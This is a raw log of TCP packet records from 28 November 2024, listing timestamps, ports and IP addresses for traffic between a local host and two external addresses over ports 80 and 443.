Nov 28, 2024 02:27:19.427853107 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.427942991 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.427942991 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.427949905 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.427995920 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.436052084 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.436120987 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.436903000 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.436992884 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.437809944 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.437822104 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.437881947 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.438657045 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.438714981 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.439649105 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.439676046 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.439713001 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.439718008 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.439753056 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.440416098 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.440428972 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.440464020 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.440520048 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.442240000 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.442267895 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.442363977 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.442364931 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.442377090 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.442465067 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.443017960 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.443034887 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.443350077 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.445635080 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.445650101 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.445888996 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.448257923 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.448271990 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.448347092 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.450016975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.450028896 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.450083971 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.451350927 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.451484919 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.452200890 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.452395916 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.453948975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.453963041 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.454029083 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.454802036 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.454814911 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.454875946 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.456559896 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.456573963 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.456613064 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.456681967 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.457528114 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.457547903 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.457588911 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.457600117 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.457623959 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.457683086 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.458273888 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.458288908 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.458329916 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.458388090 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.460071087 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.460143089 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.460922956 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.461105108 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.461827040 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.461838007 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.461879015 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.461898088 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.463520050 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.463540077 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.463565111 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.463577986 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.466134071 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.466146946 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.466157913 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.466212988 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.466310024 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.467024088 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.467093945 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.467899084 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.467950106 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.468892097 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.468924046 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.468966961 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.468977928 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.469021082 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.469033003 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.469719887 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.469741106 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.469832897 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.469844103 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.469857931 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.469917059 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.474690914 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.474756956 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.474807024 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.474827051 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.474862099 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.474888086 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.482408047 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.482429981 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.482515097 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.482536077 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.482562065 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.482573986 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.484138012 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.484163046 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.484195948 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.484204054 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.484268904 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.489387035 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.489428997 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.489468098 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.489476919 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.489541054 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.489569902 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.495031118 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.495055914 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.495102882 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.495114088 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.495248079 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.496701956 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.496716976 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.496799946 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.498456001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.498470068 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.498527050 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.501065016 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.501935959 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.502007961 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.503690004 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.503701925 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.503752947 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.507162094 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.507178068 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.507230043 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.507230043 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.508131027 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.508161068 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.508200884 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.508209944 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.508232117 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.508255959 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.508944035 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.508965969 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.509006977 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.509015083 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.509046078 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.509066105 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.509769917 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.509790897 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.509929895 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.509938955 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.510024071 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.510545969 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.510560989 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.510627985 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.512243986 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.512343884 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.513066053 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.513216019 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.514704943 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.514718056 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.514765978 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.517189980 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.517244101 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.517972946 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.518191099 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.520792007 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.520803928 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.520869970 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.520869970 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.523168087 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.523245096 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.523947954 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.523988962 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.524743080 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.524755001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.524874926 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.525691986 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.525743961 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.525774956 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.525782108 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.525800943 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.525834084 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.525839090 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.525932074 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.525983095 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.527081013 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.527091980 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.527219057 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.527545929 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.527559042 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.529308081 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.529320002 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.529392004 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.529392004 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.530170918 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.530190945 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.530236959 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.530244112 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.530350924 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.530875921 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.530927896 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.530944109 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.530953884 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.530982018 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.530987978 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.531013966 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.531027079 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.531594038 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.531711102 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.532346010 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.532450914 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.533087015 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.533171892 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.533833981 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.533845901 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.533905029 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.535686016 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.535778046 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.536407948 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.536464930 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.537873030 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.537884951 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.537935019 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.539366007 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.539378881 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.539441109 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.540852070 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.541008949 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.541565895 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.541616917 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.542321920 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.542387009 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.543044090 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.543129921 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.543855906 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.543863058 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.543880939 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.543884993 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.543930054 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.543930054 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.543936968 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.543936968 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.544007063 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.544009924 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.544009924 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.544511080 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.544523001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.544586897 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.546719074 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.546731949 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.546772003 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.547451019 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.547499895 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.548165083 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.548216105 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.549671888 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.549762011 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.550338030 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.550484896 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.551419973 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.551441908 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.551482916 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.551498890 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.552905083 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.552985907 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.553642988 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.553714991 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.554362059 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.554374933 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.554508924 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.556509972 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.556523085 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.556591034 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.557311058 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.557332993 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.557374954 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.557382107 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.557419062 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.557419062 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.557967901 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.558039904 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.558674097 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.558727026 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.559509039 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.559533119 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.559570074 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.559576988 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.559603930 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.559618950 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.560115099 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.560127020 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.560167074 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.560189962 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.562964916 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.562977076 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.563030958 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.563030958 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.563762903 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.563843012 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.573369026 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.573374033 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.573386908 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.573404074 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.573465109 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.573473930 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.573518038 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.573518991 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.573532104 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.573559046 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.573573112 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.575515985 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.575541019 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.575582027 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.575589895 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.575643063 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.582560062 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.582582951 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.582684994 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.582684994 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.582693100 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.582784891 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.586396933 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.586416006 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.586499929 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.586499929 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.586508036 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.586544991 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.589972973 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.589996099 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.590050936 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.590059996 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.590092897 CET	49731	443	192.168.2.6	150.171.27.10
